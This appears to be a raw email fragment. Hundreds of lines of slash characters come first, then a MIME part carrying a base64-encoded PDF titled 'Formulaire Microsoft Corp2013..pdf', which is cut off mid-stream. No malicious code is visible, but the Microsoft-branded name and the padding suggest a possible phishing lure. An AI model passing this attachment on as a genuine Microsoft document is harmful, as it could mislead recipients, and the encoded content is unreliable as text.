//////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// ------=_Part_1547_923015540.1387094064322 Content-Type: application/pdf; name="Formulaire Microsoft Corp2013..pdf" content-transfer-encoding: base64 Content-Disposition: attachment; size=422310; size=422504; filename="Formulaire Microsoft Corp2013..pdf" JVBERi0xLjUNCiW1tbW1DQoxIDAgb2JqDQo8PC9UeXBlL0NhdGFsb2cvUGFnZXMgMiAwIFIvTGFu Zyhmci1GUikgPj4NCmVuZG9iag0KMiAwIG9iag0KPDwvVHlwZS9QYWdlcy9Db3VudCAyL0tpZHNb IDMgMCBSIDQ3IDAgUl0gPj4NCmVuZG9iag0KMyAwIG9iag0KPDwvVHlwZS9QYWdlL1BhcmVudCAy IDAgUi9SZXNvdXJjZXM8PC9YT2JqZWN0PDwvSW1hZ2U0IDQgMCBSL0ltYWdlNiA2IDAgUi9JbWFn ZTcgNyAwIFI+Pi9Gb250PDwvRjEgOCAwIFIvRjIgMTAgMCBSL0YzIDEyIDAgUi9GNCAxNCAwIFIv RjUgMTYgMCBSL0Y2IDE4IDAgUi9GNyAyMCAwIFIvRjggNDAgMCBSL0Y5IDQyIDAgUj4+L0V4dEdT dGF0ZTw8L0dTMjIgMjIgMCBSL0dTMjMgMjMgMCBSPj4vUGF0dGVybjw8L1AyNSAyNSAwIFIvUDI3 IDI3IDAgUi9QMjkgMjkgMCBSL1AzMSAzMSAwIFIvUDMzIDMzIDAgUi9QMzUgMzUgMCBSL1AzNyAz NyAwIFIvUDM5IDM5IDAgUj4+L1Byb2NTZXRbL1BERi9UZXh0L0ltYWdlQi9JbWFnZUMvSW1hZ2VJ XSA+Pi9NZWRpYUJveFsgMCAwIDU5NS4zMiA4NDEuOTJdIC9Db250ZW50cyA1IDAgUi9Hcm91cDw8 L1R5cGUvR3JvdXAvUy9UcmFuc3BhcmVuY3kvQ1MvRGV2aWNlUkdCPj4vVGFicy9TPj4NCmVuZG9i ag0KNCAwIG9iag0KPDwvVHlwZS9YT2JqZWN0L1N1YnR5cGUvSW1hZ2UvV2lkdGggMTIzL0hlaWdo dCA4OC9Db2xvclNwYWNlL0RldmljZVJHQi9CaXRzUGVyQ29tcG9uZW50IDgvRmlsdGVyL0RDVERl Y29kZS9JbnRlcnBvbGF0ZSB0cnVlL0xlbmd0aCAzNjY3Pj4NCnN0cmVhbQ0K/9j/4AAQSkZJRgAB AQEAYABgAAD/2wBDAA0JCgsKCA0LCgsODg0PEyAVExISEyccHhcgLikxMC4pLSwzOko+MzZGNywt QFdBRkxOUlNSMj5aYVpQYEpRUk//2wBDAQ4ODhMREyYVFSZPNS01T09PT09PT09PT09PT09PT09P T09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0//wAARCABYAHsDASIAAhEBAxEB/8QAHwAA AQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIh MUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpT VFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5 usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAA AAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEI FEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVm Z2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK 0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDmbONBEhMaH5R1UelbOjXN lY3ouLmyhmUdig+X3HHWs6OI+TEAM/IDx9BW7oup2Fmnk3+nrICeJRgkfUEdK8vmfPvY77K21yxp kdvrmpyKtjFHETkERrwD2PAwe1P1bSbS2vniggiKKByUHPr2rpLW9s/s5awiVd/O4AD+VQbraKQz 3S7gB35zTlZq1yYt3vbTsczBb2wYA20B+sS/4V0mnWljMgBs7Un1MCf4VmXd0L+QGxswkK5JcAEn 